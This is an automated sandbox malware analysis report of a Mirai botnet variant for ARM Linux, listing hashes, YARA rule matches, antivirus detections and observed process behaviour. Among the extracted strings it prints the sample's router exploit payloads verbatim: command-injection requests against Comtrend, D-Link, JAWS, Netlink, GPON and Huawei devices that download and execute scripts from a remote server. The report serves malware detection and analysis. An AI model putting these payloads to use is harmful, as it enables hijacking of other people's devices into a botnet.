Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
STa4J3TGC8

Overview

General Information

Sample Name:STa4J3TGC8
Analysis ID:679616
MD5:629225375f0931a57b3b0af8790de2e7
SHA1:57e654779dd2c24b84a974fbf9d43e24168b32cb
SHA256:965641bf2015ff5ead1b627e962a5f9e0c0d72f786198276e51b89fa6fd00831
Tags:32armelfmirai
Infos:

Detection

Mirai
Score:68
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Contains symbols with names commonly found in malware
Yara signature match
Sample contains strings that are potentially command strings
Reads system information from the proc file system
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Sample and/or dropped files contains symbols with suspicious names
Sample listens on a socket
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.
Joe Sandbox Version:35.0.0 Citrine
Analysis ID:679616
Start date and time: 06/08/202206:29:082022-08-06 06:29:08 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 20s
Hypervisor based Inspection enabled:false
Report type:light
Sample file name:STa4J3TGC8
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal68.troj.lin@0/0@0/0
  • VT rate limit hit for: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
Command:/tmp/STa4J3TGC8
PID:6233
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:
  • system is lnxubuntu20
  • cleanup
SourceRuleDescriptionAuthorStrings
STa4J3TGC8SUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
  • 0x20da0:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x20e10:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x20e80:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x20ef0:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x20f60:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x211d0:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x21224:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x21278:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x212cc:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x21320:$xo1: oMXKNNC\x0D\x17\x0C\x12
STa4J3TGC8MAL_ARM_LNX_Mirai_Mar13_2022Detects new ARM Mirai variantMehmet Ali Kerimoglu a.k.a. CYB3RMX
  • 0x2d695:$attck1: attack.c
  • 0x2d7f5:$attck3: anti_gdb_entry
  • 0x2d804:$attck4: resolve_cnc_addr
  • 0x2e5b8:$attck7: attack_get_opt_ip
STa4J3TGC8JoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6233.1.00007f3d50042000.00007f3d50047000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x3bf0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x3c68:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x3ce0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x3d58:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x3dd0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x4060:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x40b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x4110:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x4168:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x41c0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6236.1.00007f3d50042000.00007f3d50047000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x3bf0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x3c68:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x3ce0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x3d58:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x3dd0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x4060:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x40b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x4110:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x4168:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x41c0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6236.1.00007f3d50017000.00007f3d50039000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x20da0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x20e10:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x20e80:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x20ef0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x20f60:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x211d0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x21224:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x21278:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x212cc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x21320:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6236.1.00007f3d50017000.00007f3d50039000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6233.1.00007f3d50017000.00007f3d50039000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
      • 0x20da0:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x20e10:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x20e80:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x20ef0:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x20f60:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x211d0:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x21224:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x21278:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x212cc:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x21320:$xo1: oMXKNNC\x0D\x17\x0C\x12
      Click to see the 1 entries
      No Snort rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: STa4J3TGC8Avira: detected
      Source: STa4J3TGC8Virustotal: Detection: 59%Perma Link
      Source: STa4J3TGC8Metadefender: Detection: 34%Perma Link
      Source: STa4J3TGC8ReversingLabs: Detection: 62%
      Source: /tmp/STa4J3TGC8 (PID: 6233)Socket: 127.0.0.1::44455
      Source: STa4J3TGC8String found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
      Source: STa4J3TGC8String found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
      Source: STa4J3TGC8String found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
      Source: STa4J3TGC8String found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
      Source: STa4J3TGC8String found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
      Source: STa4J3TGC8String found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
      Source: STa4J3TGC8String found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
      Source: STa4J3TGC8String found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
      Source: STa4J3TGC8String found in binary or memory: http://purenetworks.com/HNAP1/
      Source: STa4J3TGC8String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: STa4J3TGC8String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

      System Summary

      barindex
      Source: ELF static info symbol of initial sampleName: attack.c
      Source: ELF static info symbol of initial sampleName: attack_app_http
      Source: ELF static info symbol of initial sampleName: attack_get_opt_int
      Source: ELF static info symbol of initial sampleName: attack_get_opt_ip
      Source: ELF static info symbol of initial sampleName: attack_get_opt_str
      Source: ELF static info symbol of initial sampleName: attack_init
      Source: ELF static info symbol of initial sampleName: attack_method.c
      Source: ELF static info symbol of initial sampleName: attack_method_std
      Source: ELF static info symbol of initial sampleName: attack_method_tcp
      Source: ELF static info symbol of initial sampleName: attack_method_tcpfrag
      Source: STa4J3TGC8, type: SAMPLEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: STa4J3TGC8, type: SAMPLEMatched rule: MAL_ARM_LNX_Mirai_Mar13_2022 date = 2022-03-16, hash1 = 0283b72913b8a78b2a594b2d40ebc3c873e4823299833a1ff6854421378f5a68, author = Mehmet Ali Kerimoglu a.k.a. CYB3RMX, description = Detects new ARM Mirai variant
      Source: 6233.1.00007f3d50042000.00007f3d50047000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6236.1.00007f3d50042000.00007f3d50047000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6236.1.00007f3d50017000.00007f3d50039000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: 6233.1.00007f3d50017000.00007f3d50039000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
      Source: Initial samplePotential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114'$ HTTP/1.1
      Source: Initial samplePotential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1
      Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+46.23.109.47/Cloud/Jaws.sh;chmod+777+*;sh+Jaws.sh HTTP/1.1
      Source: Initial samplePotential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
      Source: Initial samplePotential command found: GET /index.php?s=/index/hink
      Source: STa4J3TGC8ELF static info symbol of initial sample: __gnu_unwind_execute
      Source: STa4J3TGC8ELF static info symbol of initial sample: asus_scanner_init
      Source: STa4J3TGC8ELF static info symbol of initial sample: asus_scanner_pid
      Source: STa4J3TGC8ELF static info symbol of initial sample: asus_scanner_rawpkt
      Source: STa4J3TGC8ELF static info symbol of initial sample: comtrend_scanner
      Source: STa4J3TGC8ELF static info symbol of initial sample: comtrend_scanner_pid
      Source: STa4J3TGC8ELF static info symbol of initial sample: comtrend_scanner_rawpkt
      Source: STa4J3TGC8ELF static info symbol of initial sample: dlink_scanner.c
      Source: STa4J3TGC8ELF static info symbol of initial sample: dlinkscanner_fake_time
      Source: STa4J3TGC8ELF static info symbol of initial sample: dlinkscanner_rsck
      Source: STa4J3TGC8ELF static info symbol of initial sample: dlinkscanner_scanner_init
      Source: STa4J3TGC8ELF static info symbol of initial sample: dlinkscanner_scanner_pid
      Source: STa4J3TGC8ELF static info symbol of initial sample: dlinkscanner_scanner_rawpkt
      Source: STa4J3TGC8ELF static info symbol of initial sample: dlinkscanner_setup_connection
      Source: STa4J3TGC8ELF static info symbol of initial sample: gpon443_scanner
      Source: STa4J3TGC8ELF static info symbol of initial sample: gpon443_scanner_pid
      Source: STa4J3TGC8ELF static info symbol of initial sample: gpon443_scanner_rawpkt
      Source: STa4J3TGC8ELF static info symbol of initial sample: gpon80_scanner
      Source: STa4J3TGC8ELF static info symbol of initial sample: gpon80_scanner.c
      Source: STa4J3TGC8ELF static info symbol of initial sample: gpon80_scanner_pid
      Source: STa4J3TGC8ELF static info symbol of initial sample: gpon80_scanner_rawpkt
      Source: STa4J3TGC8ELF static info symbol of initial sample: hnap_scanner.c
      Source: STa4J3TGC8ELF static info symbol of initial sample: hnapscanner_fake_time
      Source: STa4J3TGC8ELF static info symbol of initial sample: hnapscanner_rsck
      Source: STa4J3TGC8ELF static info symbol of initial sample: hnapscanner_scanner_init
      Source: STa4J3TGC8ELF static info symbol of initial sample: hnapscanner_scanner_pid
      Source: STa4J3TGC8ELF static info symbol of initial sample: hnapscanner_scanner_rawpkt
      Source: STa4J3TGC8ELF static info symbol of initial sample: hnapscanner_setup_connection
      Source: STa4J3TGC8ELF static info symbol of initial sample: huawei_scanner_pid
      Source: STa4J3TGC8ELF static info symbol of initial sample: huawei_scanner_rawpkt
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
      Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0
      Source: classification engineClassification label: mal68.troj.lin@0/0@0/0
      Source: /tmp/STa4J3TGC8 (PID: 6237)Reads from proc file: /proc/statJump to behavior
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1582/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2033/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2275/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/3088/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6191/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6192/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1612/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1579/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1699/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1335/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1698/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2028/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1334/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1576/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2302/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/3236/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2025/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2146/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/910/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/912/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/517/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/759/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2307/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/918/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6241/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6242/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6244/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/4464/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/4465/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6246/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1594/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2285/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2281/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1349/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1623/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/761/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1622/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/884/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1983/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2038/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1344/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1465/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1586/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1463/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2156/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/800/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/801/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6237/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1629/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1627/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1900/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6251/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6254/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6256/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6255/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6258/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6257/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/3021/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/491/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2294/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2050/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1877/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/772/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1633/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1599/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1632/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/774/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1477/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/654/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/896/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1476/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1872/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2048/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/655/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1475/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2289/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/656/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/777/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/657/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/4466/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6249/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/658/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/4467/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/4500/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6248/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/419/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/936/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1639/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1638/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2208/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2180/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6267/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/6266/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1809/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1494/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1890/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2063/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/2062/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1888/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1886/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/420/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1489/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/785/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/1642/exe
      Source: /tmp/STa4J3TGC8 (PID: 6235)File opened: /proc/788/exe
      Source: /tmp/STa4J3TGC8 (PID: 6233)Queries kernel information via 'uname':
      Source: STa4J3TGC8, 6233.1.000055f238674000.000055f2387c6000.rw-.sdmp, STa4J3TGC8, 6236.1.000055f238674000.000055f2387a2000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
      Source: STa4J3TGC8, 6233.1.00007ffdb51ad000.00007ffdb51ce000.rw-.sdmp, STa4J3TGC8, 6236.1.00007ffdb51ad000.00007ffdb51ce000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/STa4J3TGC8SUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/STa4J3TGC8
      Source: STa4J3TGC8, 6233.1.000055f238674000.000055f2387c6000.rw-.sdmp, STa4J3TGC8, 6236.1.000055f238674000.000055f2387a2000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: STa4J3TGC8, 6233.1.00007ffdb51ad000.00007ffdb51ce000.rw-.sdmp, STa4J3TGC8, 6236.1.00007ffdb51ad000.00007ffdb51ce000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: STa4J3TGC8, type: SAMPLE
      Source: Yara matchFile source: 6236.1.00007f3d50017000.00007f3d50039000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: 6233.1.00007f3d50017000.00007f3d50039000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: STa4J3TGC8, type: SAMPLE
      Source: Yara matchFile source: 6236.1.00007f3d50017000.00007f3d50039000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: 6233.1.00007f3d50017000.00007f3d50039000.r-x.sdmp, type: MEMORY
      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid Accounts1
      Command and Scripting Interpreter
      Path InterceptionPath Interception1
      Masquerading
      1
      OS Credential Dumping
      11
      Security Software Discovery
      Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
      Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS Memory1
      System Information Discovery
      Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 signatures2 2 Behavior Graph ID: 679616 Sample: STa4J3TGC8 Startdate: 06/08/2022 Architecture: LINUX Score: 68 23 Antivirus / Scanner detection for submitted sample 2->23 25 Multi AV Scanner detection for submitted file 2->25 27 Yara detected Mirai 2->27 29 Contains symbols with names commonly found in malware 2->29 7 STa4J3TGC8 2->7         started        process3 process4 9 STa4J3TGC8 7->9         started        11 STa4J3TGC8 7->11         started        13 STa4J3TGC8 7->13         started        process5 15 STa4J3TGC8 9->15         started        17 STa4J3TGC8 9->17         started        19 STa4J3TGC8 9->19         started        21 11 other processes 9->21
      SourceDetectionScannerLabelLink
      STa4J3TGC860%VirustotalBrowse
      STa4J3TGC834%MetadefenderBrowse
      STa4J3TGC862%ReversingLabsLinux.Trojan.Mirai
      STa4J3TGC8100%AviraLINUX/Mirai.bonb
      No Antivirus matches
      No Antivirus matches
      SourceDetectionScannerLabelLink
      http://46.23.109.47/Cloud/Gpon.sh19%VirustotalBrowse
